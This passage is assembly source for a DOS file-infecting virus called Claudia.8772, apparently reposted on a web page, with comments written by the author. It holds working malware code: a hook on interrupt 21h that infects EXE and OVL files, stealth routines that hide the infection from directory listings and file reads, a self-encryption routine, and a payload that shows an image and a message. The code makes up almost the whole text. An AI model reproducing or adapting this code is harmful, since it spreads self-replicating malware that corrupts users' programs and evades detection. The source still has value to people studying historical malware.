db 57h,3ch,0d5h,0c4h,0bbh,0e9h,0b3h,80h,0c3h,0b4h,98h,6dh
db 24h,06h,0e7h,0e4h,0d1h,0c7h,0b3h,7ch,9eh,35h,06h,0b2h
db 0c4h,0c5h,0cch,6fh,23h,27h,07h,05h,57h,45h,25h,9fh,58h
db 39h,0d9h,98h,67h,0a8h,6eh,32h,0a0h,94h,76h,0c2h,85h,47h
db 83h,60h,28h,0bdh,79h,15h,0d9h,0a4h,5fh,0a4h,62h,0ch,8bh
db 0a4h,0a1h,81h,46h,0ch,0bch,0d4h,0d4h,4eh,45h,41h,0d9h
db 0b8h,92h,0d6h,0d7h,0c7h,0a1h,95h,56h,4ah,34h,19h,0deh,93h
db 3ah,0a2h,70h,50h,0d5h,74h,45h,0e7h,0abh,7fh,0c2h,95h,87h
db 0e7h,0f3h,0e3h,0e8h,0b7h,90h,08h,15h,12h,90h,54h,0ah,0b1h
db 96h,6eh,0b0h,0a8h,99h,0a2h,86h,52h,0d9h,0f3h,0eah,0d7h
db 0d4h,0aah,6bh,10h,05h,6fh,34h,09h,0d1h,63h,29h,0b6h,63h
db 13h,0a7h,79h,37h,28h,24h,0ch,0c2h,0b4h,0aeh,0f5h,0c3h,9bh
db 0c1h,95h,4bh,0cch,0e2h,0dfh,0bah,7bh,40h,0d8h,0a8h,91h
db 0a9h,78h,1eh,0e5h,0d8h,0bfh,0c5h,0a4h,78h,29h,16h,09h
db 0d0h,88h,48h,90h,46h,0ah,0cfh,85h,2dh,0d5h,8dh,5fh,0a0h
db 57h,20h,0b7h,70h,2ah,0c3h,9ch,6bh,72h,55h,30h,0bdh,79h
db 30h,6dh,64h,54h,82h,62h,40h,2ah,36h,36h,0c2h,0c5h,0c1h
db 0b1h,0b7h,0a3h,0d1h,95h,4dh,0a2h,63h,24h,0e6h,9bh,63h
db 0b0h,8ah,69h,0e5h,0e6h,0e2h,70h,45h,16h,0dah,0a6h,76h
db 0c9h,0d7h,0cdh,0b1h,88h,4fh,48h,18h,07h,9fh,46h,08h,0c5h
db 7dh,3fh,87h,93h,82h,58h,28h,0ch,0dah,0c4h,0a0h,83h,7ah
db 5ch,0d8h,9ch,7fh,0cah,0c5h,98h,0f4h,0a9h,70h,0ddh,8ch,4bh
db 0f5h,0bbh,91h,0dbh,0e9h,0e2h,91h,39h,07h,90h,57h,23h,40h
db 54h,4fh,54h,54h,54h,6eh,74h,6fh,83h,2bh,06h,6fh,54h,3eh
db 0b4h,0b0h,82h,3eh,43h,46h,88h,86h,76h,1ch,37h,39h,74h,4eh
db 41h,83h,6ch,3fh,5ch,70h,6ch,0d7h,0b4h,66h,96h,0b0h,0a9h
db 0a3h,7bh,52h,46h,3bh,36h,0dah,0e4h,0d2h,0f0h,0cch,0b8h
db 97h,94h,93h,0b2h,93h,56h,86h,94h,97h,0cdh,7ah,17h,0cah
db 0d1h,0adh,9ch,0a2h,74h,7eh,7ch,76h,0ech,98h,50h,3ah,25h
db 0dh,0b9h,64h,31h,9fh,65h,37h,0d6h,7dh,46h,6eh,3ah,2ah
db 0adh,0b4h,0b6h,41h,5bh,67h,95h,2dh,06h,0f5h,0f6h,0f2h,3ah
db 35h,29h,0f5h,9dh,66h,92h,76h,39h,6ah,1bh,06h,0b1h,9bh,8ah
db 87h,89h,8bh,17h,04h,05h,0b6h,57h,29h,96h,8ch,88h,0f4h
db 0b4h,81h,0f5h,0adh,7eh,18h,17h,13h,68h,6ch,6ah,6dh,49h
db 2bh,91h,6fh,54h,92h,60h,1ch,0adh,47h,08h,8eh,21h,0ah,0cdh
db 93h,30h,8fh,57h,37h,59h,37h,1ah,38h,17h,07h,59h,18h,06h
db 0c4h,8dh,77h,0aah,0aeh,0b2h,5ah,65h,63h,91h,63h,39h,0a2h
db 7ah,70h,1ah,27h,27h,37h,08h,04h,0d7h,0dch,0d6h,0e0h,95h
db 50h,0e5h,0d5h,0a9h,28h,2ah,2bh,0c8h,0ddh,0ddh,37h,2ah,28h
db 57h,0bh,05h,0ddh,7dh,62h,0c5h,70h,40h,97h,0a5h,0a5h,90h
db 78h,56h,92h,6ch,39h,56h,3ch,32h,0b2h,0a5h,84h,91h,79h,6ch
db 0bch,0ceh,0ach,0cah,0abh,5ch,0c3h,0ach,97h,0b3h,8bh,38h
db 0d7h,0cch,0bdh,0e8h,0ebh,0d1h,0b4h,0cah,0cbh,0a4h,9ch,79h
db 0f1h,0cbh,0a0h,0cah,0ech,0e3h,0c3h,0cch,0c6h,6dh,7ah,7bh
db 6ah,5dh,50h,40h,4bh,4ah,0cdh,7ch,2fh,82h,52h,24h,46h,2ah
db 1fh,0d6h,0bah,0a9h,0e8h,0f3h,0eeh,0e5h,0dch,0d3h,0e5h,9dh
db 75h,0b1h,8ch,84h,0d9h,0b5h,7fh,38h,3bh,3bh,80h,48h,27h
db 0c8h,0c6h,0afh,79h,8ch,88h,28h,4ch,50h,0dah,0cbh,8ch,0deh
db 8ch,3ah,0a2h,8ch,6dh,0c5h,0bch,9dh,6fh,2ch,08h,0c8h,0bbh
db 80h,9fh,3ch,07h,51h,4ch,4ah,0c6h,9ch,8ah,6fh,3ch,0fh,0c4h
db 0bch,0b0h,0c7h,0ach,7ch,68h,6ch,5ch,0e4h,0eah,0e4h,0dah
db 0cbh,0a1h,54h,5ch,5bh,98h,9dh,9eh,8bh,9ch,9eh,0adh,0bdh
db 0bfh,0bh,01h,50h,0ch,0ah

payload_ proc near ; Payload
mov ax,13h ; Set video mode (graphic video RAM)
int 10h

mov bx,0a000h ; BX = segment of graphic video RAM
mov es,bx ; ES = " " " " "

xor di,di ; Zero DI
mov cs:[bp+counter],di ; Zero counter

mov di,9600h ; DI = offset within graphic video...
lod_nxt_byte:
call lod_img_byte
and ax,0000000011000000b
cmp ax,0000000011000000b
jne sto_img_byte ; Not equal? Jump to sto_img_byte

mov al,cs:[bp+image_byte]
and ax,0000000000111111b
push ax ; Save AX at stack

call lod_img_byte

pop cx ; Load CX from stack (AX)
rep stosb ; Store number of bytes within image

jmp exam_counter
sto_img_byte:
mov al,cs:[bp+image_byte]
stosb ; Store byte within image
exam_counter:
cmp di,0fA01h ; End of video graphic RAM?
jb lod_nxt_byte ; Below? Jump to lod_nxt_byte

mov cx,300h ; Store seven hundred and sixty-ei...
push di ; Save DI at stack
store_loop:
push cx ; Save CX at stack

call lod_img_byte
stosb ; Store byte within image

pop cx ; Load CX from stack
loop store_loop

pop di ; Load DI from stack

push ds ; Save DS at stack

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov dx,di ; DX = offset within graphic video...
mov si,di ; SI = offset within graphic video...
mov cx,300h ; Modify seven hundred and sixty-e...
modify_loop:
lodsb ; AL = byte within graphic video RAM

shr al,01h ; Shift logical right byte within ...
shr al,01h ; " " " " " "

stosb ; Store byte within graphic video RAM

loop modify_loop

pop ds ; Load DS from stack

mov ax,1012h ; Set block of dac registers
xor bx,bx ; BX = starting color register
mov cx,100h ; CX = number of registers to set
int 10h

mov ax,0c06h ; Flush buffer and read standard i...
mov dx,0ffh ; Direct console input
int 21h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

segcs ; Code segment as source segment
lea dx,[bp+message] ; DX = offset of message
call write_string
no_character:
mov ax,600h ; Direct console input
mov dx,0FFh ; " " "
int 21h
jz no_character ; No character available? Jump to ...

mov ax,0c06h ; Flush buffer and read standard i...
mov dx,0ffh ; Direct console input
int 21h

mov ax,03h ; Set video mode (text video RAM)
int 10h

ret ; Return!
endp

lod_img_byte proc near ; Load byte within image, increase...
push si ; Save SI at stack

mov si,cs:[bp+counter] ; SI = counter
mov al,cs:[bp+si+image] ; AL = byte within image

mov cs:[bp+image_byte],al

inc cs:[bp+counter] ; Increase counter

pop si ; Load SI from stack

ret ; Return!
endp

write_string proc near ; Write string to standard output
mov ah,09h ; " " " " "
int 21h

ret ; Return!
endp

zero_regs proc near ; Zero registers
mov si,100h ; SI = offset of beginning of code

xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor di,di ; Zero DI
xor bp,bp ; Zero BP

ret ; Return!
endp

dos_list_seg dw ? ; Segment of DOS list of lists
virus_seg dw ? ; Segment of virus in top of memory

int01_virus proc near ; Interrupt 01h of Claudia.8772
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer

push ax ; Save AX at stack
mov ax,[bp+04h] ; AX = code segment

push bp ; Save BP at stack
call delta_offse_
delta_offse_:
pop bp ; Load BP from stack

cmp ax,cs:[bp+(dos_list_seg-delta_offse_)]
pop bp ; Load BP from stack
jbe found_seg ; Below or equal? Jump to found_seg

push ds si ; Save registers at stack
mov ds,ax ; DS = code segment
mov si,[bp+02h] ; SI = instruction pointer
lodsb ; AL = byte of opcode

cmp al,11001111b ; IRET (opcode 0cfh)?
je iret_ ; Equal? Jump to iret_
cmp al,10011101b ; POPF (opcode 9dh)?
je popf_ ; Equal? Jump to popf_

jmp int01_exit

nop
found_seg:
push es si ; Save registers at stack

call delta_offs__
delta_offs__:
pop si ; Load SI from stack

mov si,cs:[si+(virus_seg-delta_offs__)]
mov es,si ; ES = segment of virus in top of ...

mov word ptr es:[int21_addr+02h],ax

mov ax,[bp+02h] ; AX = offset of interrupt 21h
mov word ptr es:[int21_addr],ax

and word ptr [bp+06h],1111111011111111b

pop si es ; Load registers from stack

jmp int01_exit_

nop
iret_:
or word ptr [bp+0ah],0000000100000000b

jmp int01_exit

nop
popf_:
or word ptr [bp+06h],0000000100000000b
int01_exit:
pop si ds ; Load registers from stack
int01_exit_:
pop ax ; Load AX from stack
pop bp ; Load BP from stack

iret ; Interrupt return!
endp

int24_virus proc near ; Interrupt 24h of Claudia.8772
mov al,03h ; Fail system call in progress

iret ; Interrupt return!
endp

int21_simula proc near ; Simulate interrupt 21h
pushf ; Save flags at stack
call cs:[int21_addr]

ret ; Return!
endp

; ÄÄ´ Interrupt 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

int21_virus: cmp ax,'CS' ; Is she Claudia Schiffer?
je own_check ; Let's speak with her :P

cmp ax,4b00h ; File execution?
jz file_exec ; Then try to infect

cmp ah,11h ; FCB findfirst service?
jz fcb_stealth ; Time to stealth

cmp ah,12h ; FCB findnext service?
jz fcb_stealth ; Time to stealth

cmp ah,4eh ; Normal findfirst?
jnz more_checks ; Skip it if not

jmp short file_stealth
nop ; Fifth nop (?)

more_checks: cmp ah,4fh ; Normal findnext?
jz file_stealth ; Gimme some stealth

cmp ah,3dh ; Getting file open?
jnz is_it_xtended ; Nah, maybe extended
jmp file_open ; Yes, go for it!

is_it_xtended: cmp ah,6ch ; Extended file open?
jnz check_read ; Just if it is not
jmp file_open ; Also go for it!

check_read: cmp ah,3fh ; Any file being read?
jnz check_chmod ; Nope, just go on
jmp file_read ; Yes, do da stealth

check_chmod: cmp ax,5700h ; NE1 getting attribs?
jnz fcb_open? ; Nah, just seemed so
jmp file_chmod ; Let's hide ourselves

fcb_open?: cmp ah,0fh ; FCB file open service
jnz fcb_get_size? ; Not being used, np
jmp fcb_file_open ; Go and do some work

fcb_get_size?: cmp ah,23h ; FCB get file size?
jne int21_exit ; Nope, no more checks
jmp fcb_get_size ; Yes, hide our size

int21_exit:
db 11101010b ; 0eah, jmp xxxx:xxxx
int21_addr dd ? ; Original int 21h

; ÄÄ´ Residency check ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

own_check: mov bx,'OS' ; Virus author's nick as
jmp int21_exit ; response, we're alive!

; ÄÄ´ File execution ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

file_exec: call infect_file ; Try to infect the file
jmp int21_exit ; in DS:DX and jump back

; ÄÄ´ FCB stealth ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

fcb_stealth: call int21_simula ; Call original int 21h
test al,al ; Check for errors and
js back_to_int ; jump if there was any

push ax bx es ; Push registers onto the
mov ah,2fh ; stack and get Disk
int 21h ; Transfer Area in ES:BX

cmp byte ptr es:[bx],0ffh ; Extended DTA?
jnz not_extended ; No need to add

add bx,7 ; Make DTAs compatible
not_extended: mov ax,es:[bx+19h] ; Get size into AX and
cmp ah,64h ; check if the file is
jb leave_stealth ; already infected

ror ah,1 ; Yes, set original size
sub ah,64h ; and date back to remain
rol ah,1 ; completely stealth
mov es:[bx+19h],ax
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0

leave_stealth: pop es bx ax ; Pop registers and return
back_to_int: iret ; to the interrupt call

; ÄÄ´ File stealth ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

file_stealth: call int21_simula ; Call original int 21h
jnb call_was_ok ; Check for errors and
retf 2 ; leave if there are any

call_was_ok: push ax bx si es ; Push registers and get
mov ah,2fh ; the file DTA in ES:BX
int 21h

mov ax,es:[bx+18h] ; Get file date in AX
cmp ah,64h ; and check if this file
jb nothing_to_do ; is already infected

ror ah,1 ; If it is, restore both
sub ah,64h ; original date and size
rol ah,1 ; to hide our presence
mov es:[bx+18h],ax
sub word ptr es:[bx+1ah],virus_size
sbb word ptr es:[bx+1ch],0

nothing_to_do: pop es si bx ax ; Pop registers, clear
clc ; carry flag and do a
retf 2 ; return far to caller

; ÄÄ´ FCB file open ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

fcb_file_open: call process_file ; Process file infection
fcb_get_size: call int21_simula ; Call original int 21h
test al,al ; Check for possible errors
js do_retf_2 ; when having called it

push bx ax ; Push registers onto stack
mov bx,dx ; Now get the file date in
mov ax,[bx+14h] ; AX by means of the FCB
cmp ah,64h ; structure and check for
jb just_leave ; previous file infection

ror ah,1 ; In case it's infected,
sub ah,64h ; restore original date and
ror ah,1 ; size momentaneously :)
mov [bx+14h],ax
sub word ptr [bx+10h],virus_size
sbb word ptr [bx+12h],0

just_leave: pop ax bx ; Pop registers and do a
retf 2 ; return far to caller

; ÄÄ´ Normal file open ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

file_open: call process_file ; Process file infection
call int21_simula ; Call original int 21h
jb do_retf_2 ; Has there been any error?

cmp ax,5 ; Check for file handle
jb not_valid ; Skip it if not valid

push ax bx di es ; Push registers onto stack
xchg ax,bx ; and get Job File Table
push bx ; in ES:DI, making possible
mov ax,1220h ; the retrieval of the SFT
int 2fh

nop ; Sixth nop (?)
mov bl,es:[di] ; Now go actually for the
mov ax,1216h ; System File Table which
int 2fh ; corresponds to this file

pop bx ; Restore file handle
call check_marker ; Check if it's infected
jb dont_stealth ; Only if it is not :)

cmp word ptr es:[di],1 ; No more than one handle
ja dont_stealth ; referring to this file

sub word ptr es:[di+11h],virus_size
sbb word ptr es:[di+13h],0

dont_stealth: pop es di bx ax ; Pop registers and leave
not_valid: clc ; once we've substracted
do_retf_2: retf 2 ; our size on the fly

; ÄÄ´ File read ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

file_read: cmp bx,5 ; Check if current file
jnb good_handle ; handle is valid, and
jmp exit_read ; leave if it is not

good_handle: push si di es ; Push used registers
push ax bx cx bx ; onto the stack :P

mov ax,1220h ; Get Job File Table in
int 2fh ; ES:DI (once again)

nop ; Seventh nop (?)
mov bl,es:[di] ; And now get the System
mov ax,1216h ; File Table for the
int 2fh ; current file in ES:DI

pop bx ; Restore file handle
call check_marker ; Check if this file is
jnb roq_me_babe ; already infected and
jmp pop_and_exit ; just leave if it's not

roq_me_babe: cmp word ptr es:[di+17h],0 ; Are too many bytes
jz lets_surf ; being read so as
jmp pop_and_exit ; to care about it?

lets_surf: cmp word ptr es:[di+15h],1ch ; File pointer in
jnb pop_and_exit ; the MZ header?

push word ptr es:[di+15h] ; Push actual pointer
mov ah,3fh ; and perform a read
call int21_simula ; with the original int

pop cx ; Actual pointer in CX
push ax ; Now save bytes read
sub cx,1ch ; Substract the MZ size
neg cx ; Negate operation
cmp ax,cx ; Compare AX and CX
jnb dont_swap ; Do we need to swap?

xchg ax,cx ; Do da boogie-boogie
dont_swap: push ds cx dx ; Push used registers

push word ptr es:[di+15h] ; Save read pointer
push word ptr es:[di+17h] ; Save read pointer

add word ptr es:[di+11h],virus_size
adc word ptr es:[di+13h],0

mov ax,es:[di+11h] ; Now we've restored the
sub ax,1ch ; actual file size, which
mov es:[di+15h],ax ; includes the virus body,
mov ax,es:[di+13h] ; so as to recover the
mov es:[di+17h],ax ; original MZ header

push cs ; Push CS and pop DS to
pop ds ; make them equivalent

mov dx,offset exe_header ; Read the original
mov cx,1ch ; MZ header from the
mov ah,3fh ; virus body, where
call int21_simula ; it is stored

sub word ptr es:[di+11h],virus_size
sbb word ptr es:[di+13h],0

pop word ptr es:[di+17h] ; Set the stealthed size
pop word ptr es:[di+15h] ; and the read pointers

pop dx cx ds ; Pop registers from stack
push ds ; Now do segment push/pop,
pop es ; so we get CS = DS = ES

mov di,dx ; Move the original MZ
mov si,offset exe_header ; header back to the
push cs ; start of the file
pop ds ; which is being read
rep movsb ; (only in memory)

push es ; Play one more time with
pop ds ; the segment shit :P

pop ax cx bx ; Pop registers from the
pop es es di si ; stack, clear carry flag
clc ; and return far to our
retf 2 ; caller, stealth is done

pop_and_exit: pop cx bx ax ; Pop registers and jump
pop es di si ; back straight to the
exit_read: jmp int21_exit ; interrupt 21h exit routine

; ÄÄ´ Get file attributes ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

file_chmod: call int21_simula ; Call original int 21h
jb just_git_out ; Jump in case of error

cmp dh,64h ; Check the file date for
jb back_to_chmod ; our infection mark

ror dh,1 ; Restore original date
sub dh,64h ; if the file is infected,
rol dh,1 ; so we remain stealth

back_to_chmod: iret ; Do an interrupt return
just_git_out: retf 2 ; Do a return far

; ÄÄ´ File processing routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

process_file: push di es cx ax ; Push pertinent registers
cmp ax,6c00h ; Check for extended

  
open
jnz normal_open ; AX != 6c00h -> AX = 3d00h

xchg dx,si ; Change DS:SI to DS:DX
normal_open: mov di,dx ; Now process filename in
push ds ; order to find a dot and
pop es ; then compare its extension
mov cx,40h ; with our valid wildcards,
mov al,'.' ; so we know whether we can
repne scasb ; infect it or not...

pop ax ; Restore AX and jump if
jcxz jump_back ; no fucking dot was found

cmp word ptr [di],'XE' ; Is it an .EX*?
jnz check_ovl ; No, next check

cmp byte ptr [di+2],'E' ; Is it an .EXE?
jnz jump_back ; Nope, just leave
jmp go_for_it ; Yes, infect it!

nop ; Eighth nop (?)
check_ovl: cmp word ptr [di],'VO' ; Is it an .OV*?
jnz jump_back ; Nah, bad luck

cmp byte ptr [di+2],'L' ; It is an .OVL?
jnz jump_back ; No way, fool
go_for_it: call infect_file ; Lucky strike ;)

jump_back: cmp ah,6ch ; Check if it's necessary
jnz dont_xchg ; to swap DX and SI again,
; in case the call was an
xchg dx,si ; extended open (6c00h),
dont_xchg: pop cx es di ; then return to our caller
ret

; ÄÄ´ File infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_file: push ax bx cx dx ; Push registers which are
push si di ds es ; modified in this routine

in al,21h ; Int controller, 8259A
xor al,2 ; Xor the value with 2
out 21h,al ; Int controller, 8259A
xor al,2 ; Xor the value with 2
out 21h,al ; Int controller, 8259A

mov ax,3d00h ; Open file in DS:DX
call int21_simula ; in read-only mode
jnb go_ahead ; Check for possible
jmp quit_this ; errors in opening

nop ; Nineth nop (?)
go_ahead: xor bx,bx ; Set our own int 24h
mov ds,bx
mov word ptr ds:[24h*4],offset int24_virus
mov word ptr ds:[24h*4+2],cs
xchg ax,bx
push bx ; Save file handle

mov ax,1220h ; Now get again file Job
int 2fh ; File Table in ES:DI

nop ; Tenth nop (?)
mov bl,es:[di] ; Go get System File Table
mov ax,1216h ; in ES:DI for our further
int 2fh ; checks of this file

pop bx ; Restore file handle
call check_marker ; Is it already infected?
jnb close_n_pop ; Close it if it is

mov word ptr es:[di+2],2 ; Change open mode
push cs ; to read/write and
pop ds ; make CS == DS

mov dx,offset exe_header ; Read the first 1ch
mov cx,1ch ; bytes of the EXE
mov ah,3fh ; and check for "MZ"
call int21_simula

cmp word ptr ds:[exe_header],'ZM' ; EXE magic?
jz is_it_newexe?

close_n_pop: mov ah,3eh ; Close the file if something
call int21_simula ; something has gone wrong,
quit_this: jmp pop_and_leave ; pop registers and leave

is_it_newexe?: cmp word ptr ds:[exe_header+18h],40h
jnz any_overlay?
jmp pop_and_leave ; Only if it is a NewEXE

any_overlay?: cmp word ptr ds:[exe_header+1ah],0
jz bless_victim
jmp pop_and_leave ; Or if it has overlays

bless_victim: push es di cs ; Our victim is ok to
pop es ; be infected, so we
mov si,offset exe_header ; just go straight to
mov di,offset new_header ; it... first move the
mov cx,1ch ; MZ header to another
rep movsb ; read buffer :)

pop di es ; Restore registers
push word ptr es:[di+11h] ; and save file size,
push word ptr es:[di+13h] ; given by the SFT

push word ptr ds:[exe_header+16h] ; Save original
pop [initial_cs_] ; CS pointer in
add [initial_cs_],10h ; our own code

push word ptr ds:[exe_header+14h] ; Save also the
pop [initial_ip_] ; IP (14h) field

push word ptr ds:[exe_header+0eh] ; Do the same we
pop [initial_ss] ; did with CS with
add [initial_ss],10h ; the stack segment

push word ptr ds:[exe_header+10h] ; And also save
pop [initial_sp] ; the stack pointer

pop dx ax ; Get file size in DX:AX
push ax dx bx ; and save them and BX

mov cl,0ch ; I said, uh, hip-hop, the
shl dx,cl ; hibbe to the hibbe, the
mov bx,ax ; hip-hip-uh-hop, you don't
mov cl,4 ; stop the rockin' to the
shr bx,cl ; bang-bang boogie, say up,
add dx,bx ; jump the boogie to the
and ax,0fh ; rhythm of the boogety beat!

pop bx ; Get handle
sub dx,word ptr ds:[exe_header+8] ; Header size
mov word ptr ds:[exe_header+16h],dx ; in paras and
mov word ptr ds:[exe_header+14h],ax ; new CS:IP
pop dx ax

add ax,virus_size ; Add virus size to AX
nop ; Eleventh nop (?)
adc dx,0 ; And add with carry
push ax dx ; Save AX:DX again

mov cl,4 ; Now let's calculate
shr ax,cl ; the necessary values
add ax,0c8h ; for the SS:SP fields

cmp ax,word ptr ds:[exe_header+0eh]
jb dont_update
; Modify the thing
mov dx,0fffeh
mov word ptr ds:[exe_header+0eh],ax
mov word ptr ds:[exe_header+10h],dx

dont_update: pop dx ax ; Pop file length
mov cx,200h ; Calculate the number of
div cx ; pages and write it
inc ax
mov word ptr ds:[exe_header+2],dx ; Update these
mov word ptr ds:[exe_header+4],ax ; MZ pointers

mov ax,4202h ; Lseek to the end of the
cwd ; file, we're gonna append
xor cx,cx ; the viral code to it at
call int21_simula ; last, it took its time :)

mov ax,word ptr ds:[exe_header+14h]
call encrypt_virus

mov dx,offset new_header ; Now write the fuckin
mov cx,1ch ; MZ header to the end,
mov ah,40h ; guess foe what? :P
call int21_simula

mov word ptr es:[di+15h],0 ; Lseek to the start
mov word ptr es:[di+17h],0 ; by means of the SFT

mov dx,offset exe_header ; Write our cooler MZ
mov ah,40h ; header and replace
call int21_simula ; the original one

mov cx,es:[di+0dh] ; Now just prepare our
mov dx,es:[di+0fh] ; infection mark so as
ror dh,1 ; to easily distinguish
add dh,64h ; later our infectees
rol dh,1 ; when needing to stealth
mov ax,5701h ; or just to not to do
call int21_simula ; any kinda reinfection

mov ah,3eh ; Close file in BX, we
call int21_simula ; have just infected it

pop_and_leave: pop es ds di si ; Restore every register
pop dx cx bx ax ; we had pushed before
ret ; and return to our caller

; ÄÄ´ Virus encryption routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

encrypt_virus: push es di bx ax ; Push these onto the stack
mov bx,ax ; Move the new IP to BX

get_day_time: xor ah,ah ; Get time of day in CX:DX
int 1ah ; You might be dumb enough
test dl,dl ; to not to understand this
jz get_day_time ; intends to be random :P

mov [crypt_key],dl ; Store decryption key
pop ax ; Restore new IP in AX
add ax,(crypt_begin-virus_begin) ; Add IP to offset of
mov [crypt_offset],ax ; crypt_begin and of
add ax,(crypt_end-crypt_begin-01h) ; crypt_end and store
mov [crypt_offse_],ax ; both in our code

mov si,offset virus_begin ; First of all, copy
mov di,offset virus_end ; virus decryptor to
push cs ; the start of the
pop es ; encryption buffer,
mov cx,decryptor_size ; which is gonna be
rep movsb ; appended to the file

mov si,offset crypt_begin ; Now point to the
mov cx,virus_size-2dh ; start of the code
pick_n_roll: lodsb ; and encrypt it into
xor al,dl ; our temporal buffer
neg dl ; in order to get the
stosb ; definitive generation
loop pick_n_roll ; ready to be written

pop bx di es ; Restore registers
mov ah,40h ; And now, the magical
mov cx,virus_size-1ch ; moment... attachment ;)
nop ; Twelveth nop (?)
mov dx,offset virus_end ; Write our encrypted
call int21_simula ; code to the end of
ret ; our victim and return

; ÄÄ´ Check infection marker ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check_marker: mov ax,es:[di+0fh] ; Check if the file date
cmp ah,64h ; is equal to our marker
ret ; and return to caller

; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

initial_cs_ dw ? ; Initial CS relative to start of ...
initial_ip_ dw ? ; Initial IP
initial_ss dw ? ; Initial SS relative to start of ...
initial_sp dw ? ; Initial SP

decryptor_size equ 11h ; Temporal, decryptor size
virus_size equ 2244h ; Temporal, virus size
crypt_end label byte ; End of encrypted code
code_end label byte ; End of viral code
db 04h dup (?)
exe_header db 1ch dup (?) ; Viral modified MZ header
new_header db 1ch dup (?) ; Host original MZ header
virus_end label byte ; Absolute virus end
db (code_end-virus_begin) dup (?)
data_end label byte ; End of virus data

end code_begin

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT